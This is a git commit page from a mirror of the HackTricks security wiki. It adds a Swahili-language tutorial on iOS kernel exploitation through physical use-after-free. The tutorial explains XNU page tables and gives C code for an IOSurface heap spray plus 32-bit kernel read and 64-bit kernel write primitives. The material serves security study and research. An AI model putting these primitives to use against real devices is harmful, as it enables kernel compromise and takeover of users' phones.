mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['binary-exploitation/ios-exploiting.md'] to sw
This commit is contained in:
parent
85f3fb1981
commit
878c296107
2 changed files with 204 additions and 0 deletions
|
@ -778,6 +778,7 @@
|
|||
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
## 🔩 Reversing
|
||||
|
||||
|
|
203
binary-exploitation/ios-exploiting.md
Normal file
203
binary-exploitation/ios-exploiting.md
Normal file
|
@ -0,0 +1,203 @@
|
|||
# iOS Exploiting
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
Hii ni muhtasari kutoka kwenye chapisho la [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo, taarifa zaidi kuhusu exploit inayotumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
**Anwani ya nafasi ya kumbukumbu ya virtual** kwa michakato ya mtumiaji kwenye iOS inapanuka kutoka **0x0 hadi 0x8000000000**. Hata hivyo, anwani hizi hazihusiani moja kwa moja na kumbukumbu halisi. Badala yake, **kernel** inatumia **meza za kurasa** kutafsiri anwani za virtual kuwa anwani halisi **za kimwili**.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Meza za kurasa zimeandaliwa kwa njia ya ngazi tatu:
|
||||
|
||||
1. **L1 Page Table (Ngazi ya 1)**:
|
||||
* Kila kipengee hapa kinawakilisha anuwai kubwa ya kumbukumbu ya virtual.
|
||||
* Inashughulikia **0x1000000000 bytes** (au **256 GB**) ya kumbukumbu ya virtual.
|
||||
2. **L2 Page Table (Ngazi ya 2)**:
|
||||
* Kipengee hapa kinawakilisha eneo dogo la kumbukumbu ya virtual, haswa **0x2000000 bytes** (32 MB).
|
||||
* Kipengee cha L1 kinaweza kuelekeza kwenye meza ya L2 ikiwa hakiwezi kuunganisha eneo lote lenyewe.
|
||||
3. **L3 Page Table (Ngazi ya 3)**:
|
||||
* Hii ni ngazi ya chini zaidi, ambapo kila kipengee kinaunganisha **4 KB** ya kurasa za kumbukumbu.
|
||||
* Kipengee cha L2 kinaweza kuelekeza kwenye meza ya L3 ikiwa udhibiti wa kina unahitajika.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai inayoendelea ya anwani za kimwili (kama njia fupi).
|
||||
* **Pointer to Child Page Table**:
|
||||
* Ikiwa udhibiti wa kina unahitajika, kipengee katika ngazi moja (mfano, L1) kinaweza kuelekeza kwenye **meza ya kurasa ya mtoto** katika ngazi inayofuata (mfano, L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Hebu sema unajaribu kufikia anwani ya virtual **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* Kernel inakagua kipengee cha meza ya L1 kinachohusiana na anwani hii ya virtual. Ikiwa ina **pointer kwa meza ya L2**, inaenda kwenye meza hiyo ya L2.
|
||||
2. **L2 Table**:
|
||||
* Kernel inakagua meza ya L2 kwa ramani ya kina zaidi. Ikiwa kipengee hiki kinaelekeza kwenye **meza ya L3**, inaendelea huko.
|
||||
3. **L3 Table**:
|
||||
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani ya kimwili** ya kurasa halisi za kumbukumbu.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
Ikiwa unaandika anwani ya kimwili **0x800004000** kwenye index ya kwanza ya meza ya L2, basi:
|
||||
|
||||
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganishwa na anwani za kimwili kutoka **0x800004000** hadi **0x802004000**.
|
||||
* Hii ni **block mapping** katika ngazi ya L2.
|
||||
|
||||
Vinginevyo, ikiwa kipengee cha L2 kinaelekeza kwenye meza ya L3:
|
||||
|
||||
* Kila ukurasa wa 4 KB katika anuwai ya anwani za virtual **0x1000000000 -> 0x1002000000** utakuwa umeunganishwa na vipengee vya kibinafsi katika meza ya L3.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
**Physical use-after-free** (UAF) hutokea wakati:
|
||||
|
||||
1. Mchakato **unapotoa** kumbukumbu fulani kama **inasomeka na kuandikwa**.
|
||||
2. **Meza za kurasa** zinapaswa kusasishwa ili kuunganisha kumbukumbu hii na anwani halisi maalum ambayo mchakato unaweza kufikia.
|
||||
3. Mchakato **unafuta** (huru) kumbukumbu hiyo.
|
||||
4. Hata hivyo, kutokana na **hitilafu**, kernel **inasahau kuondoa uhusiano** kutoka kwenye meza za kurasa, ingawa inakadiria kumbukumbu halisi inayohusiana kama huru.
|
||||
5. Kernel inaweza kisha **kutoa tena kumbukumbu hii "iliyohifadhiwa"** kwa madhumuni mengine, kama **data za kernel**.
|
||||
6. Kwa kuwa uhusiano haukuondolewa, mchakato bado unaweza **kusoma na kuandika** kwenye kumbukumbu hii halisi.
|
||||
|
||||
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu za kernel**, ambazo zinaweza kuwa na data nyeti au muundo, na hivyo kumwezesha mshambuliaji **kudhibiti kumbukumbu ya kernel**.
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
Kwa kuwa mshambuliaji hawezi kudhibiti ni kurasa zipi maalum za kernel zitakazotolewa kwa kumbukumbu iliyohifadhiwa, wanatumia mbinu inayoitwa **heap spray**:
|
||||
|
||||
1. Mshambuliaji **anaunda idadi kubwa ya vitu vya IOSurface** katika kumbukumbu ya kernel.
|
||||
2. Kila kitu cha IOSurface kina **thamani ya kichawi** katika moja ya maeneo yake, ikifanya iwe rahisi kutambua.
|
||||
3. Wanachunguza **kurasa zilizohifadhiwa** kuona ikiwa yoyote ya vitu hivi imeanguka kwenye ukurasa uliohifadhiwa.
|
||||
4. Wanapokutana na kitu cha IOSurface kwenye ukurasa uliohifadhiwa, wanaweza kukitumia **kusoma na kuandika kumbukumbu ya kernel**.
|
||||
|
||||
Taarifa zaidi kuhusu hii katika [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: Mshambuliaji anaunda vitu vingi vya IOSurface vyenye kitambulisho maalum ("thamani ya kichawi").
|
||||
2. **Scan Freed Pages**: Wanakagua ikiwa yoyote ya vitu imewekwa kwenye ukurasa uliohifadhiwa.
|
||||
3. **Read/Write Kernel Memory**: Kwa kudhibiti maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila mipaka** katika kumbukumbu ya kernel. Hii inawaruhusu:
|
||||
* Kutumia eneo moja **kusoma thamani yoyote ya 32-bit** katika kumbukumbu ya kernel.
|
||||
* Kutumia eneo lingine **kuandika thamani za 64-bit**, kufikia **primitive thabiti ya kusoma/kuandika kernel**.
|
||||
|
||||
Unda vitu vya IOSurface vyenye thamani ya kichawi IOSURFACE_MAGIC ili baadaye kutafuta:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Search for **`IOSurface`** objects in one freed physical page:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Kufikia Kernel Read/Write na IOSurface
|
||||
|
||||
Baada ya kupata udhibiti wa kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwenye ukurasa wa kimwili ulioachwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
|
||||
|
||||
**Sehemu Muhimu katika IOSurface**
|
||||
|
||||
Kitu cha IOSurface kina sehemu mbili muhimu:
|
||||
|
||||
1. **Pointer ya Hesabu ya Matumizi**: Inaruhusu **kusoma 32-bit**.
|
||||
2. **Pointer ya Wakati wa Kielelezo**: Inaruhusu **kuandika 64-bit**.
|
||||
|
||||
Kwa kubadilisha pointers hizi, tunaelekeza kwenye anwani zisizo na mipaka katika kumbukumbu ya kernel, na kuwezesha uwezo wa kusoma/kuandika.
|
||||
|
||||
#### Kernel Read ya 32-Bit
|
||||
|
||||
Ili kufanya kusoma:
|
||||
|
||||
1. Badilisha **pointer ya hesabu ya matumizi** ili kuelekeza kwenye anwani ya lengo minus offset ya 0x14-byte.
|
||||
2. Tumia njia ya `get_use_count` kusoma thamani katika anwani hiyo.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
Ili kufanya andiko:
|
||||
|
||||
1. Badilisha **kiashiria cha muda kilichoorodheshwa** kwa anwani lengwa.
|
||||
2. Tumia njia ya `set_indexed_timestamp` kuandika thamani ya 64-bit.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Muhtasari wa Mchakato wa Ulaghai
|
||||
|
||||
1. **Chochea Matumizi ya Kimwili Baada ya Kuachiliwa**: Kurasa zilizofutwa zinapatikana kwa matumizi tena.
|
||||
2. **Piga Mambo ya IOSurface**: Panga vitu vingi vya IOSurface vyenye "thamani ya uchawi" ya kipekee katika kumbukumbu ya kernel.
|
||||
3. **Tambua IOSurface Inayopatikana**: Pata IOSurface kwenye ukurasa ulioachiliwa ambao unadhibiti.
|
||||
4. **Tumia Matumizi Baada ya Kuachiliwa**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika** kwa njia isiyo na mipaka kupitia mbinu za IOSurface.
|
||||
|
||||
Kwa kutumia hizi primitives, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha primitives za kusoma/kandika zenye uthabiti zaidi, ambazo zinaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).
|
Loading…
Add table
Reference in a new issue